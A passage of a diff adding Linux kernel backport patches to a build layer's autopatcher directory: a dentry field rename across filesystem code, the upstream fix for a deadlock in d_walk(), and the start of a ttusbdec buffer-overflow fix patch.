+@@ -1296,7 +1296,7 @@ retry_lookup: + /* reorder parent's d_subdirs */ + spin_lock(&parent->d_lock); + spin_lock_nested(&dn->d_lock, DENTRY_D_LOCK_NESTED); +- list_move(&dn->d_u.d_child, &parent->d_subdirs); ++ list_move(&dn->d_child, &parent->d_subdirs); + spin_unlock(&dn->d_lock); + spin_unlock(&parent->d_lock); + } +diff --git a/fs/cifs/inode.c b/fs/cifs/inode.c +index 0dee93706c982..54304ccae7e7d 100644 +--- a/fs/cifs/inode.c ++++ b/fs/cifs/inode.c +@@ -832,7 +832,7 @@ inode_has_hashed_dentries(struct inode *inode) + struct dentry *dentry; + + spin_lock(&inode->i_lock); +- hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { + if (!d_unhashed(dentry) || IS_ROOT(dentry)) { + spin_unlock(&inode->i_lock); + return true; +diff --git a/fs/coda/cache.c b/fs/coda/cache.c +index 1da168c61d35c..9bc1147a6c5d4 100644 +--- a/fs/coda/cache.c ++++ b/fs/coda/cache.c +@@ -92,7 +92,7 @@ static void coda_flag_children(struct dentry *parent, int flag) + struct dentry *de; + + spin_lock(&parent->d_lock); +- list_for_each_entry(de, &parent->d_subdirs, d_u.d_child) { ++ list_for_each_entry(de, &parent->d_subdirs, d_child) { + /* don't know what to do with negative dentries */ + if (de->d_inode ) + coda_flag_inode(de->d_inode, flag); +diff --git a/fs/dcache.c b/fs/dcache.c +index 25c0a1b5f6c0e..b3cb521809e98 100644 +--- a/fs/dcache.c ++++ b/fs/dcache.c +@@ -43,7 +43,7 @@ + /* + * Usage: + * dcache->d_inode->i_lock protects: +- * - i_dentry, d_alias, d_inode of aliases ++ * - i_dentry, d_u.d_alias, d_inode of aliases + * dcache_hash_bucket lock protects: + * - the dcache hash table + * s_anon bl list spinlock protects: +@@ -58,7 +58,7 @@ + * - d_unhashed() + * - d_parent and d_subdirs + * - childrens' d_child and d_parent +- * - d_alias, d_inode ++ * - d_u.d_alias, d_inode + * + * Ordering: + * dentry->d_inode->i_lock +@@ -215,7 +215,6 @@ static void __d_free(struct rcu_head *head) + { + struct dentry *dentry = container_of(head, struct dentry, d_u.d_rcu); + +- WARN_ON(!hlist_unhashed(&dentry->d_alias)); + if (dname_external(dentry)) + kfree(dentry->d_name.name); + kmem_cache_free(dentry_cache, dentry); +@@ -226,6 +225,7 @@ static void __d_free(struct rcu_head *head) + */ + static void d_free(struct dentry *dentry) + { ++ WARN_ON(!hlist_unhashed(&dentry->d_u.d_alias)); + BUG_ON(dentry->d_count); + this_cpu_dec(nr_dentry); + if (dentry->d_op && dentry->d_op->d_release) +@@ -264,7 +264,7 @@ static void dentry_iput(struct dentry * dentry) + struct inode *inode = dentry->d_inode; + if (inode) { + dentry->d_inode = NULL; +- hlist_del_init(&dentry->d_alias); ++ hlist_del_init(&dentry->d_u.d_alias); + spin_unlock(&dentry->d_lock); + spin_unlock(&inode->i_lock); + if (!inode->i_nlink) +@@ -288,7 +288,7 @@ static void dentry_unlink_inode(struct dentry * dentry) + { + struct inode *inode = dentry->d_inode; + dentry->d_inode = NULL; +- hlist_del_init(&dentry->d_alias); ++ hlist_del_init(&dentry->d_u.d_alias); + dentry_rcuwalk_barrier(dentry); + spin_unlock(&dentry->d_lock); + spin_unlock(&inode->i_lock); +@@ -364,7 +364,7 @@ static struct dentry *d_kill(struct dentry *dentry, struct dentry *parent) + __releases(parent->d_lock) + __releases(dentry->d_inode->i_lock) + { +- list_del(&dentry->d_u.d_child); ++ list_del(&dentry->d_child); + /* + * Inform try_to_ascend() that we are no longer attached to the + * dentry tree +@@ -660,7 +660,7 @@ static struct dentry *__d_find_alias(struct inode *inode, int want_discon) + + again: + discon_alias = NULL; +- hlist_for_each_entry(alias, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(alias, &inode->i_dentry, d_u.d_alias) { + spin_lock(&alias->d_lock); + if (S_ISDIR(inode->i_mode) || !d_unhashed(alias)) { + if (IS_ROOT(alias) && +@@ -713,7 +713,7 @@ void d_prune_aliases(struct inode *inode) + struct dentry *dentry; + restart: + spin_lock(&inode->i_lock); +- hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { + spin_lock(&dentry->d_lock); + if (!dentry->d_count) { + __dget_dlock(dentry); +@@ -893,7 +893,7 @@ static void shrink_dcache_for_umount_subtree(struct dentry *dentry) + /* descend to the first leaf in the current subtree */ + while (!list_empty(&dentry->d_subdirs)) + dentry = list_entry(dentry->d_subdirs.next, +- struct dentry, d_u.d_child); ++ struct dentry, d_child); + + /* consume the dentries from this leaf up through its parents + * until we find one with children or run out altogether */ +@@ -927,17 +927,17 @@ static void shrink_dcache_for_umount_subtree(struct dentry *dentry) + + if (IS_ROOT(dentry)) { + parent = NULL; +- list_del(&dentry->d_u.d_child); ++ list_del(&dentry->d_child); + } else { + parent = dentry->d_parent; + parent->d_count--; +- list_del(&dentry->d_u.d_child); ++ list_del(&dentry->d_child); + } + + inode = dentry->d_inode; + if (inode) { + dentry->d_inode = NULL; +- hlist_del_init(&dentry->d_alias); ++ hlist_del_init(&dentry->d_u.d_alias); + if (dentry->d_op && dentry->d_op->d_iput) + dentry->d_op->d_iput(dentry, inode); + else +@@ -955,7 +955,7 @@ static void shrink_dcache_for_umount_subtree(struct dentry *dentry) + } while (list_empty(&dentry->d_subdirs)); + + dentry = list_entry(dentry->d_subdirs.next, +- struct dentry, d_u.d_child); ++ struct dentry, d_child); + } + } + +@@ -1048,7 +1048,7 @@ repeat: + resume: + while (next != &this_parent->d_subdirs) { + struct list_head *tmp = next; +- struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); ++ struct dentry *dentry = list_entry(tmp, struct dentry, d_child); + next = tmp->next; + + spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); +@@ -1075,7 +1075,7 @@ resume: + this_parent = try_to_ascend(this_parent, locked, seq); + if (!this_parent) + goto rename_retry; +- next = child->d_u.d_child.next; ++ next = child->d_child.next; + goto resume; + } + spin_unlock(&this_parent->d_lock); +@@ -1131,7 +1131,7 @@ repeat: + resume: + while (next != &this_parent->d_subdirs) { + struct list_head *tmp = next; +- struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); ++ struct dentry *dentry = list_entry(tmp, struct dentry, d_child); + next = tmp->next; + + spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); +@@ -1182,7 +1182,7 @@ resume: + this_parent = try_to_ascend(this_parent, locked, seq); + if (!this_parent) + goto rename_retry; +- next = child->d_u.d_child.next; ++ next = child->d_child.next; + goto resume; + } + out: +@@ -1278,8 +1278,8 @@ struct dentry *__d_alloc(struct super_block *sb, const struct qstr *name) + INIT_HLIST_BL_NODE(&dentry->d_hash); + INIT_LIST_HEAD(&dentry->d_lru); + INIT_LIST_HEAD(&dentry->d_subdirs); +- INIT_HLIST_NODE(&dentry->d_alias); +- INIT_LIST_HEAD(&dentry->d_u.d_child); ++ INIT_HLIST_NODE(&dentry->d_u.d_alias); ++ INIT_LIST_HEAD(&dentry->d_child); + d_set_d_op(dentry, dentry->d_sb->s_d_op); + + this_cpu_inc(nr_dentry); +@@ -1309,7 +1309,7 @@ struct dentry *d_alloc(struct dentry * parent, const struct qstr *name) + */ + __dget_dlock(parent); + dentry->d_parent = parent; +- list_add(&dentry->d_u.d_child, &parent->d_subdirs); ++ list_add(&dentry->d_child, &parent->d_subdirs); + spin_unlock(&parent->d_lock); + + return dentry; +@@ -1369,7 +1369,7 @@ static void __d_instantiate(struct dentry *dentry, struct inode *inode) + if (inode) { + if (unlikely(IS_AUTOMOUNT(inode))) + dentry->d_flags |= DCACHE_NEED_AUTOMOUNT; +- hlist_add_head(&dentry->d_alias, &inode->i_dentry); ++ hlist_add_head(&dentry->d_u.d_alias, &inode->i_dentry); + } + dentry->d_inode = inode; + dentry_rcuwalk_barrier(dentry); +@@ -1394,7 +1394,7 @@ static void __d_instantiate(struct dentry *dentry, struct inode *inode) + + void d_instantiate(struct dentry *entry, struct inode * inode) + { +- BUG_ON(!hlist_unhashed(&entry->d_alias)); ++ BUG_ON(!hlist_unhashed(&entry->d_u.d_alias)); + if (inode) + spin_lock(&inode->i_lock); + __d_instantiate(entry, inode); +@@ -1433,7 +1433,7 @@ static struct dentry *__d_instantiate_unique(struct dentry *entry, + return NULL; + } + +- hlist_for_each_entry(alias, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(alias, &inode->i_dentry, d_u.d_alias) { + /* + * Don't need alias->d_lock here, because aliases with + * d_parent == entry->d_parent are not subject to name or +@@ -1459,7 +1459,7 @@ struct dentry *d_instantiate_unique(struct dentry *entry, struct inode *inode) + { + struct dentry *result; + +- BUG_ON(!hlist_unhashed(&entry->d_alias)); ++ BUG_ON(!hlist_unhashed(&entry->d_u.d_alias)); + + if (inode) + spin_lock(&inode->i_lock); +@@ -1502,7 +1502,7 @@ static struct dentry * __d_find_any_alias(struct inode *inode) + + if (hlist_empty(&inode->i_dentry)) + return NULL; +- alias = hlist_entry(inode->i_dentry.first, struct dentry, d_alias); ++ alias = hlist_entry(inode->i_dentry.first, struct dentry, d_u.d_alias); + __dget(alias); + return alias; + } +@@ -1576,7 +1576,7 @@ struct dentry *d_obtain_alias(struct inode *inode) + spin_lock(&tmp->d_lock); + tmp->d_inode = inode; + tmp->d_flags |= DCACHE_DISCONNECTED; +- hlist_add_head(&tmp->d_alias, &inode->i_dentry); ++ hlist_add_head(&tmp->d_u.d_alias, &inode->i_dentry); + hlist_bl_lock(&tmp->d_sb->s_anon); + hlist_bl_add_head(&tmp->d_hash, &tmp->d_sb->s_anon); + hlist_bl_unlock(&tmp->d_sb->s_anon); +@@ -2019,7 +2019,7 @@ int d_validate(struct dentry *dentry, struct dentry *dparent) + struct dentry *child; + + spin_lock(&dparent->d_lock); +- list_for_each_entry(child, &dparent->d_subdirs, d_u.d_child) { ++ list_for_each_entry(child, &dparent->d_subdirs, d_child) { + if (dentry == child) { + spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); + __dget_dlock(dentry); +@@ -2266,8 +2266,8 @@ static void __d_move(struct dentry * dentry, struct dentry * target) + /* Unhash the target: dput() will then get rid of it */ + __d_drop(target); + +- list_del(&dentry->d_u.d_child); +- list_del(&target->d_u.d_child); ++ list_del(&dentry->d_child); ++ list_del(&target->d_child); + + /* Switch the names.. */ + switch_names(dentry, target); +@@ -2277,15 +2277,15 @@ static void __d_move(struct dentry * dentry, struct dentry * target) + if (IS_ROOT(dentry)) { + dentry->d_parent = target->d_parent; + target->d_parent = target; +- INIT_LIST_HEAD(&target->d_u.d_child); ++ INIT_LIST_HEAD(&target->d_child); + } else { + swap(dentry->d_parent, target->d_parent); + + /* And add them back to the (new) parent lists */ +- list_add(&target->d_u.d_child, &target->d_parent->d_subdirs); ++ list_add(&target->d_child, &target->d_parent->d_subdirs); + } + +- list_add(&dentry->d_u.d_child, &dentry->d_parent->d_subdirs); ++ list_add(&dentry->d_child, &dentry->d_parent->d_subdirs); + + write_seqcount_end(&target->d_seq); + write_seqcount_end(&dentry->d_seq); +@@ -2392,9 +2392,9 @@ static void __d_materialise_dentry(struct dentry *dentry, struct dentry *anon) + swap(dentry->d_name.hash, anon->d_name.hash); + + dentry->d_parent = dentry; +- list_del_init(&dentry->d_u.d_child); ++ list_del_init(&dentry->d_child); + anon->d_parent = dparent; +- list_move(&anon->d_u.d_child, &dparent->d_subdirs); ++ list_move(&anon->d_child, &dparent->d_subdirs); + + write_seqcount_end(&dentry->d_seq); + write_seqcount_end(&anon->d_seq); +@@ -2933,7 +2933,7 @@ repeat: + resume: + while (next != &this_parent->d_subdirs) { + struct list_head *tmp = next; +- struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); ++ struct dentry *dentry = list_entry(tmp, struct dentry, d_child); + next = tmp->next; + + spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); +@@ -2963,7 +2963,7 @@ resume: + this_parent = try_to_ascend(this_parent, locked, seq); + if (!this_parent) + goto rename_retry; +- next = child->d_u.d_child.next; ++ next = child->d_child.next; + goto resume; + } + spin_unlock(&this_parent->d_lock); +diff --git a/fs/debugfs/inode.c b/fs/debugfs/inode.c +index 7269ec329c016..26d7fff8d78e0 100644 +--- a/fs/debugfs/inode.c ++++ b/fs/debugfs/inode.c +@@ -545,7 +545,7 @@ void debugfs_remove_recursive(struct dentry *dentry) + parent = dentry; + down: + mutex_lock(&parent->d_inode->i_mutex); +- list_for_each_entry_safe(child, next, &parent->d_subdirs, d_u.d_child) { ++ list_for_each_entry_safe(child, next, &parent->d_subdirs, d_child) { + if (!debugfs_positive(child)) + continue; + +@@ -566,8 +566,8 @@ void debugfs_remove_recursive(struct dentry *dentry) + mutex_lock(&parent->d_inode->i_mutex); + + if (child != dentry) { +- next = list_entry(child->d_u.d_child.next, struct dentry, +- d_u.d_child); ++ next = list_entry(child->d_child.next, struct dentry, ++ d_child); + goto up; + } + +diff --git a/fs/exportfs/expfs.c b/fs/exportfs/expfs.c +index 262fc99409824..b4eec4c9a790d 100644 +--- a/fs/exportfs/expfs.c ++++ b/fs/exportfs/expfs.c +@@ -50,7 +50,7 @@ find_acceptable_alias(struct dentry *result, + + inode = result->d_inode; + spin_lock(&inode->i_lock); +- hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { + dget(dentry); + spin_unlock(&inode->i_lock); + if (toput) +diff --git a/fs/libfs.c b/fs/libfs.c +index 916da8c4158b0..1299bd5e07b7f 100644 +--- a/fs/libfs.c ++++ b/fs/libfs.c +@@ -104,18 +104,18 @@ loff_t dcache_dir_lseek(struct file *file, loff_t offset, int whence) + + spin_lock(&dentry->d_lock); + /* d_lock not required for cursor */ +- list_del(&cursor->d_u.d_child); ++ list_del(&cursor->d_child); + p = dentry->d_subdirs.next; + while (n && p != &dentry->d_subdirs) { + struct dentry *next; +- next = list_entry(p, struct dentry, d_u.d_child); ++ next = list_entry(p, struct dentry, d_child); + spin_lock_nested(&next->d_lock, DENTRY_D_LOCK_NESTED); + if (simple_positive(next)) + n--; + spin_unlock(&next->d_lock); + p = p->next; + } +- list_add_tail(&cursor->d_u.d_child, p); ++ list_add_tail(&cursor->d_child, p); + spin_unlock(&dentry->d_lock); + } + } +@@ -139,7 +139,7 @@ int dcache_readdir(struct file * filp, void * dirent, filldir_t filldir) + { + struct dentry *dentry = filp->f_path.dentry; + struct dentry *cursor = filp->private_data; +- struct list_head *p, *q = &cursor->d_u.d_child; ++ struct list_head *p, *q = &cursor->d_child; + ino_t ino; + int i = filp->f_pos; + +@@ -165,7 +165,7 @@ int dcache_readdir(struct file * filp, void * dirent, filldir_t filldir) + + for (p=q->next; p != &dentry->d_subdirs; p=p->next) { + struct dentry *next; +- next = list_entry(p, struct dentry, d_u.d_child); ++ next = list_entry(p, struct dentry, d_child); + spin_lock_nested(&next->d_lock, DENTRY_D_LOCK_NESTED); + if (!simple_positive(next)) { + spin_unlock(&next->d_lock); +@@ -289,7 +289,7 @@ int simple_empty(struct dentry *dentry) + int ret = 0; + + spin_lock(&dentry->d_lock); +- list_for_each_entry(child, &dentry->d_subdirs, d_u.d_child) { ++ list_for_each_entry(child, &dentry->d_subdirs, d_child) { + spin_lock_nested(&child->d_lock, DENTRY_D_LOCK_NESTED); + if (simple_positive(child)) { + spin_unlock(&child->d_lock); +diff --git a/fs/ncpfs/dir.c b/fs/ncpfs/dir.c +index 6792ce11f2bfc..c578ba9949e67 100644 +--- a/fs/ncpfs/dir.c ++++ b/fs/ncpfs/dir.c +@@ -391,7 +391,7 @@ ncp_dget_fpos(struct dentry *dentry, struct dentry *parent, unsigned long fpos) + spin_lock(&parent->d_lock); + next = parent->d_subdirs.next; + while (next != &parent->d_subdirs) { +- dent = list_entry(next, struct dentry, d_u.d_child); ++ dent = list_entry(next, struct dentry, d_child); + if ((unsigned long)dent->d_fsdata == fpos) { + if (dent->d_inode) + dget(dent); +diff --git a/fs/ncpfs/ncplib_kernel.h b/fs/ncpfs/ncplib_kernel.h +index 32c06587351a1..6d5e7c56c79d4 100644 +--- a/fs/ncpfs/ncplib_kernel.h ++++ b/fs/ncpfs/ncplib_kernel.h +@@ -194,7 +194,7 @@ ncp_renew_dentries(struct dentry *parent) + spin_lock(&parent->d_lock); + next = parent->d_subdirs.next; + while (next != &parent->d_subdirs) { +- dentry = list_entry(next, struct dentry, d_u.d_child); ++ dentry = list_entry(next, struct dentry, d_child); + + if (dentry->d_fsdata == NULL) + ncp_age_dentry(server, dentry); +@@ -216,7 +216,7 @@ ncp_invalidate_dircache_entries(struct dentry *parent) + spin_lock(&parent->d_lock); + next = parent->d_subdirs.next; + while (next != &parent->d_subdirs) { +- dentry = list_entry(next, struct dentry, d_u.d_child); ++ dentry = list_entry(next, struct dentry, d_child); + dentry->d_fsdata = NULL; + ncp_age_dentry(server, dentry); + next = next->next; +diff --git a/fs/nfs/getroot.c b/fs/nfs/getroot.c +index 44efaa8c5f78f..0fe3ced6438c7 100644 +--- a/fs/nfs/getroot.c ++++ b/fs/nfs/getroot.c +@@ -58,7 +58,7 @@ static int nfs_superblock_set_dummy_root(struct super_block *sb, struct inode *i + */ + spin_lock(&sb->s_root->d_inode->i_lock); + spin_lock(&sb->s_root->d_lock); +- hlist_del_init(&sb->s_root->d_alias); ++ hlist_del_init(&sb->s_root->d_u.d_alias); + spin_unlock(&sb->s_root->d_lock); + spin_unlock(&sb->s_root->d_inode->i_lock); + } +diff --git a/fs/notify/fsnotify.c b/fs/notify/fsnotify.c +index 4bb21d67d9b1b..a3153e2d0f1f4 100644 +--- a/fs/notify/fsnotify.c ++++ b/fs/notify/fsnotify.c +@@ -63,14 +63,14 @@ void __fsnotify_update_child_dentry_flags(struct inode *inode) + spin_lock(&inode->i_lock); + /* run all of the dentries associated with this inode. Since this is a + * directory, there damn well better only be one item on this list */ +- hlist_for_each_entry(alias, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(alias, &inode->i_dentry, d_u.d_alias) { + struct dentry *child; + + /* run all of the children of the original inode and fix their + * d_flags to indicate parental interest (their parent is the + * original inode) */ + spin_lock(&alias->d_lock); +- list_for_each_entry(child, &alias->d_subdirs, d_u.d_child) { ++ list_for_each_entry(child, &alias->d_subdirs, d_child) { + if (!child->d_inode) + continue; + +diff --git a/fs/ocfs2/dcache.c b/fs/ocfs2/dcache.c +index ef999729e274e..ce37013b4a593 100644 +--- a/fs/ocfs2/dcache.c ++++ b/fs/ocfs2/dcache.c +@@ -172,7 +172,7 @@ struct dentry *ocfs2_find_local_alias(struct inode *inode, + struct dentry *dentry; + + spin_lock(&inode->i_lock); +- hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { + spin_lock(&dentry->d_lock); + if (ocfs2_match_dentry(dentry, parent_blkno, skip_unhashed)) { + trace_ocfs2_find_local_alias(dentry->d_name.len, +diff --git a/include/linux/dcache.h b/include/linux/dcache.h +index 9be5ac960fd89..c1999d1fe6f8d 100644 +--- a/include/linux/dcache.h ++++ b/include/linux/dcache.h +@@ -120,15 +120,15 @@ struct dentry { + void *d_fsdata; /* fs-specific data */ + + struct list_head d_lru; /* LRU list */ ++ struct list_head d_child; /* child of parent list */ ++ struct list_head d_subdirs; /* our children */ + /* +- * d_child and d_rcu can share memory ++ * d_alias and d_rcu can share memory + */ + union { +- struct list_head d_child; /* child of parent list */ ++ struct hlist_node d_alias; /* inode alias list */ + struct rcu_head d_rcu; + } d_u; +- struct list_head d_subdirs; /* our children */ +- struct hlist_node d_alias; /* inode alias list */ + }; + + /* +diff --git a/kernel/cgroup.c b/kernel/cgroup.c +index d0def7fc2848d..ef130605ac43e 100644 +--- a/kernel/cgroup.c ++++ b/kernel/cgroup.c +@@ -984,7 +984,7 @@ static void cgroup_d_remove_dir(struct dentry *dentry) + parent = dentry->d_parent; + spin_lock(&parent->d_lock); + spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); +- list_del_init(&dentry->d_u.d_child); ++ list_del_init(&dentry->d_child); + spin_unlock(&dentry->d_lock); + spin_unlock(&parent->d_lock); + remove_dir(dentry); +diff --git a/kernel/trace/trace.c b/kernel/trace/trace.c +index 8d7e8098e7689..640e4c44b1701 100644 +--- a/kernel/trace/trace.c ++++ b/kernel/trace/trace.c +@@ -6063,7 +6063,7 @@ static int instance_mkdir (struct inode *inode, struct dentry *dentry, umode_t m + int ret; + + /* Paranoid: Make sure the parent is the "instances" directory */ +- parent = hlist_entry(inode->i_dentry.first, struct dentry, d_alias); ++ parent = hlist_entry(inode->i_dentry.first, struct dentry, d_u.d_alias); + if (WARN_ON_ONCE(parent != trace_instance_dir)) + return -ENOENT; + +@@ -6090,7 +6090,7 @@ static int instance_rmdir(struct inode *inode, struct dentry *dentry) + int ret; + + /* Paranoid: Make sure the parent is the "instances" directory */ +- parent = hlist_entry(inode->i_dentry.first, struct dentry, d_alias); ++ parent = hlist_entry(inode->i_dentry.first, struct dentry, d_u.d_alias); + if (WARN_ON_ONCE(parent != trace_instance_dir)) + return -ENOENT; + +diff --git a/kernel/trace/trace_events.c b/kernel/trace/trace_events.c +index 001b349af9398..5a898f15bfc6e 100644 +--- a/kernel/trace/trace_events.c ++++ b/kernel/trace/trace_events.c +@@ -425,7 +425,7 @@ static void remove_event_file_dir(struct ftrace_event_file *file) + + if (dir) { + spin_lock(&dir->d_lock); /* probably unneeded */ +- list_for_each_entry(child, &dir->d_subdirs, d_u.d_child) { ++ list_for_each_entry(child, &dir->d_subdirs, d_child) { + if (child->d_inode) /* probably unneeded */ + child->d_inode->i_private = NULL; + } +diff --git a/security/selinux/selinuxfs.c b/security/selinux/selinuxfs.c +index 464be51025f6c..a96bed4db3e8a 100644 +--- a/security/selinux/selinuxfs.c ++++ b/security/selinux/selinuxfs.c +@@ -1190,7 +1190,7 @@ static void sel_remove_entries(struct dentry *de) + spin_lock(&de->d_lock); + node = de->d_subdirs.next; + while (node != &de->d_subdirs) { +- struct dentry *d = list_entry(node, struct dentry, d_u.d_child); ++ struct dentry *d = list_entry(node, struct dentry, d_child); + + spin_lock_nested(&d->d_lock, DENTRY_D_LOCK_NESTED); + list_del_init(node); +@@ -1664,12 +1664,12 @@ static void sel_remove_classes(void) + + list_for_each(class_node, &class_dir->d_subdirs) { + struct dentry *class_subdir = list_entry(class_node, +- struct dentry, d_u.d_child); ++ struct dentry, d_child); + struct list_head *class_subdir_node; + + list_for_each(class_subdir_node, &class_subdir->d_subdirs) { + struct dentry *d = list_entry(class_subdir_node, +- struct dentry, d_u.d_child); ++ struct dentry, d_child); + + if (d->d_inode) + if (d->d_inode->i_mode & S_IFDIR) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0108-5f03ac13d875-deal with deadlock in dwalk.patch b/recipes-kernel/linux/linux-bass/autopatcher/0108-5f03ac13d875-deal with deadlock in dwalk.patch new file mode 100644 index 0000000..1cd5f59 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0108-5f03ac13d875-deal with deadlock in dwalk.patch @@ -0,0 +1,215 @@ +From 5f03ac13d87590b0ee879c77e68df63a3d9b3e07 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Sun, 26 Oct 2014 19:31:10 -0400 +Subject: deal with deadlock in d_walk() + +commit ca5358ef75fc69fee5322a38a340f5739d997c10 upstream. + +... by not hitting rename_retry for reasons other than rename having +happened. In other words, do _not_ restart when finding that +between unlocking the child and locking the parent the former got +into __dentry_kill(). Skip the killed siblings instead... + +Signed-off-by: Al Viro +Cc: Ben Hutchings +[hujianyang: Backported to 3.10 refer to the work of Ben Hutchings in 3.2: + - As we only have try_to_ascend() and not d_walk(), apply this + change to all callers of try_to_ascend() + - Adjust context to make __dentry_kill() apply to d_kill()] +Signed-off-by: hujianyang +Signed-off-by: Greg Kroah-Hartman +--- + fs/dcache.c | 102 ++++++++++++++++++++++++++++++++++++------------------------ + 1 file changed, 62 insertions(+), 40 deletions(-) + +diff --git a/fs/dcache.c b/fs/dcache.c +index b3cb521809e98..b1b8a7e9db0c7 100644 +--- a/fs/dcache.c ++++ b/fs/dcache.c +@@ -364,9 +364,9 @@ static struct dentry *d_kill(struct dentry *dentry, struct dentry *parent) + __releases(parent->d_lock) + __releases(dentry->d_inode->i_lock) + { +- list_del(&dentry->d_child); ++ __list_del_entry(&dentry->d_child); + /* +- * Inform try_to_ascend() that we are no longer attached to the ++ * Inform ascending readers that we are no longer attached to the + * dentry tree + */ + dentry->d_flags |= DCACHE_DENTRY_KILLED; +@@ -987,35 +987,6 @@ void shrink_dcache_for_umount(struct super_block *sb) + } + } + +-/* +- * This tries to ascend one level of parenthood, but +- * we can race with renaming, so we need to re-check +- * the parenthood after dropping the lock and check +- * that the sequence number still matches. +- */ +-static struct dentry *try_to_ascend(struct dentry *old, int locked, unsigned seq) +-{ +- struct dentry *new = old->d_parent; +- +- rcu_read_lock(); +- spin_unlock(&old->d_lock); +- spin_lock(&new->d_lock); +- +- /* +- * might go back up the wrong parent if we have had a rename +- * or deletion +- */ +- if (new != old->d_parent || +- (old->d_flags & DCACHE_DENTRY_KILLED) || +- (!locked && read_seqretry(&rename_lock, seq))) { +- spin_unlock(&new->d_lock); +- new = NULL; +- } +- rcu_read_unlock(); +- return new; +-} +- +- + /* + * Search for at least 1 mount point in the dentry's subdirs. + * We descend to the next level whenever the d_subdirs +@@ -1070,17 +1041,32 @@ resume: + /* + * All done at this level ... ascend and resume the search. + */ ++ rcu_read_lock(); ++ascend: + if (this_parent != parent) { + struct dentry *child = this_parent; +- this_parent = try_to_ascend(this_parent, locked, seq); +- if (!this_parent) ++ this_parent = child->d_parent; ++ ++ spin_unlock(&child->d_lock); ++ spin_lock(&this_parent->d_lock); ++ ++ /* might go back up the wrong parent if we have had a rename. */ ++ if (!locked && read_seqretry(&rename_lock, seq)) + goto rename_retry; + next = child->d_child.next; ++ while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)) { ++ if (next == &this_parent->d_subdirs) ++ goto ascend; ++ child = list_entry(next, struct dentry, d_child); ++ next = next->next; ++ } ++ rcu_read_unlock(); + goto resume; + } +- spin_unlock(&this_parent->d_lock); + if (!locked && read_seqretry(&rename_lock, seq)) + goto rename_retry; ++ spin_unlock(&this_parent->d_lock); ++ rcu_read_unlock(); + if (locked) + write_sequnlock(&rename_lock); + return 0; /* No mount points found in tree */ +@@ -1092,6 +1078,8 @@ positive: + return 1; + + rename_retry: ++ spin_unlock(&this_parent->d_lock); ++ rcu_read_unlock(); + if (locked) + goto again; + locked = 1; +@@ -1177,23 +1165,40 @@ resume: + /* + * All done at this level ... ascend and resume the search. + */ ++ rcu_read_lock(); ++ascend: + if (this_parent != parent) { + struct dentry *child = this_parent; +- this_parent = try_to_ascend(this_parent, locked, seq); +- if (!this_parent) ++ this_parent = child->d_parent; ++ ++ spin_unlock(&child->d_lock); ++ spin_lock(&this_parent->d_lock); ++ ++ /* might go back up the wrong parent if we have had a rename. */ ++ if (!locked && read_seqretry(&rename_lock, seq)) + goto rename_retry; + next = child->d_child.next; ++ while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)) { ++ if (next == &this_parent->d_subdirs) ++ goto ascend; ++ child = list_entry(next, struct dentry, d_child); ++ next = next->next; ++ } ++ rcu_read_unlock(); + goto resume; + } + out: +- spin_unlock(&this_parent->d_lock); + if (!locked && read_seqretry(&rename_lock, seq)) + goto rename_retry; ++ spin_unlock(&this_parent->d_lock); ++ rcu_read_unlock(); + if (locked) + write_sequnlock(&rename_lock); + return found; + + rename_retry: ++ spin_unlock(&this_parent->d_lock); ++ rcu_read_unlock(); + if (found) + return found; + if (locked) +@@ -2954,26 +2959,43 @@ resume: + } + spin_unlock(&dentry->d_lock); + } ++ rcu_read_lock(); ++ascend: + if (this_parent != root) { + struct dentry *child = this_parent; + if (!(this_parent->d_flags & DCACHE_GENOCIDE)) { + this_parent->d_flags |= DCACHE_GENOCIDE; + this_parent->d_count--; + } +- this_parent = try_to_ascend(this_parent, locked, seq); +- if (!this_parent) ++ this_parent = child->d_parent; ++ ++ spin_unlock(&child->d_lock); ++ spin_lock(&this_parent->d_lock); ++ ++ /* might go back up the wrong parent if we have had a rename. */ ++ if (!locked && read_seqretry(&rename_lock, seq)) + goto rename_retry; + next = child->d_child.next; ++ while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)) { ++ if (next == &this_parent->d_subdirs) ++ goto ascend; ++ child = list_entry(next, struct dentry, d_child); ++ next = next->next; ++ } ++ rcu_read_unlock(); + goto resume; + } +- spin_unlock(&this_parent->d_lock); + if (!locked && read_seqretry(&rename_lock, seq)) + goto rename_retry; ++ spin_unlock(&this_parent->d_lock); ++ rcu_read_unlock(); + if (locked) + write_sequnlock(&rename_lock); + return; + + rename_retry: ++ spin_unlock(&this_parent->d_lock); ++ rcu_read_unlock(); + if (locked) + goto again; + locked = 1; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0109-0ec4fc584c3e-media ttusbdec buffer overflow in ioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0109-0ec4fc584c3e-media ttusbdec buffer overflow in ioctl.patch new file mode 100644 index 0000000..7b919b5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0109-0ec4fc584c3e-media ttusbdec buffer overflow in ioctl.patch @@ -0,0 +1,33 @@ +From 